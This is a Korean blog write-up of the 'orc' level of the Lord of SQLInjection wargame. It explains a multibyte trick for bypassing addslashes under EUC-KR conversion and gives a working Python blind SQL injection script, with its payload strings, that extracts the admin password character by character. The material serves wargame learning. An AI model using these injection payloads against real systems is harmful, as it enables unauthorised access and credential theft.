본문 바로가기

Web Hacking/Lord of SQLInjection

[Lord of SQLInjection] 4번 orc write up

 

이번 문제는 두 번의 필터링을 진행하고 있다. 먼저 

 

prob _ . ( )

 

을 필터링하며 

 

2차적으로 addslashes함수를 이용하여 싱글쿼터를 필터링 중이다.

 

addslashes는 싱글쿼터('), 더블쿼터(""), 널문자, 백슬레쉬(\)에 해당하는 문자가 들어오면 백슬레쉬를 앞에 붙여 sql injection을 방어하게 된다.

 

ex) ' -> \'

 

 

1차 필터링은 가볍게 우회가 되나, addslashes를 우회가 안된다. 싱글쿼터를 어떻게 우회할지 생각해봐야 한다. 

 

addslashes로 싱글쿼터가 이스케이프될 경우 이를 우회하기 위해선 한 가지의 전제조건이 선행되어야 한다. 

 

euc-kr을 utf-8로 변환하는 작업을 하고 있는 경우에만 멀티바이트 삽입을 통해 우회가 가능하다. 먼저 '(%27)을 보낼경우 \'(%5c%27)로 변경되게 된다. 

 

따라서 '앞에 %aa을 보낼경우 %aa\' -> %aa%5c%27이 되게 된다. 이럴 경우 euc-kr을 utf-8로 변환하고 있기 때문에 %aa%5c가 한 글자로 인식되게 된다. (유니코드이기때문!) 즉 %27은 그대로 싱글쿼터로서 인식되게 된다. (%a1 ~ %fe에 해당하는 문자를 보내야한다.)

 

-> 유니코드는 2바이트(멀티바이트)로 전세계 모든 언어를 표현하는 인코딩 방식이며 %a1 ~ %fe의 값은 멀티바이트 인코딩에서 특정 역할을 하는 녀석들이므로 이 중에서 사용해야함!

 

이제 다른 방식을 찾아야 한다. 1번 필터링에서는 싱글쿼터가 여전히 살아 있기 때문에 or 을 이용해서 blind sql 공격으로 pw알아낼 수도 있다. 이를 이용하자

 

 

위와 같이 앞 조건을 거짓으로 만든 후 뒤 조건을 통해 id가 admin인 pw의 길이를 유추할 수 있다. 만약 pw의 길이가 참일 경우 Hello admin이 표시될 것이다. 

 

 

admin의 비밀번호가 8자리인 것을 알았으므로 이를 이용해서 admin의 비밀번호를 알아내는 파이썬 코드를 작성하자

 

 

import requests
import string

ch = string.digits + string.ascii_letters + string.punctuation
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
password = ''
mycookie = {
    "PHPSESSID": "ojo8l88gicn5an3352sjh8e8po"
}
for idx in range(1, 9):
    for i in ch:
        param="?pw=' or id='admin' and ord(substr(pw,"+str(idx)+",1))="+str(ord(i))+"%23"
        url_new = url + param
        result = requests.get(url_new, cookies=mycookie)
        if 'Hello admin' in result.text:
            password += i
            print(password)
            break

 

 

며칠전에 포스팅했던 Blind SQL Injection 문제는 쿠키값을 설정하지 않아도 요청이 올바르게 전송 되었지만 해당 문제의 경우 쿠키값이 일치하지 않으면 요청이 전송되지 않으므로 쿠키값 설정이 필수이다! 

 

쿠키값 설정하는 습관을 들이자..

 

 


알게 된거?

 

1. addslashes 함수는 싱글쿼터를 이스케이프 시킨다. 그러나 이건 euc-kr을 utf-8로 변환할 경우 멀티바이트 삽입을 통해 우회가 가능하다. 

왜? utf-8의 경우 멀티바이트를 한 문자로 해석하기 때문. 다른 말로 utf-8이 아닐경우 우회가 불가능하다.

 

2. 서버측에서 쿠키값이 올바르지 않을 경우 요청을 거부하는 경우도 있다. 항상 쿠키를 설정해주자

 

3. 

param="?pw=' or id='admin' and substr(pw,"+str(idx)+",1)="+str(i)+"%23"

param="?pw=' or id='admin' and ord(substr(pw,"+str(idx)+",1))="+str(ord(i))+"%23"

 

위 두 코드의 차이점은 문자를 ord함수로 감싸냐 안 감싸냐의 차이다. python의 string 모듈로 생성한 숫자는 'str' 이기 때문에 진짜 숫자가 아니다. 따라서 ord로 안 감쌀 경우 substr로 뽑아온 pw는 문자일 경우 문자로 비교가 되고 숫자일 경우 숫자로서 비교가 되지만 우리가 비교하기 위해 생성한 숫자나 문자는 모두 문자로 비교되기 때문에 비교가 안 된다!

 

또한, 현재 코드 내에서 문자일 경우 str로 감쌀 수가 없다..ㅎㅎ 복잡하네..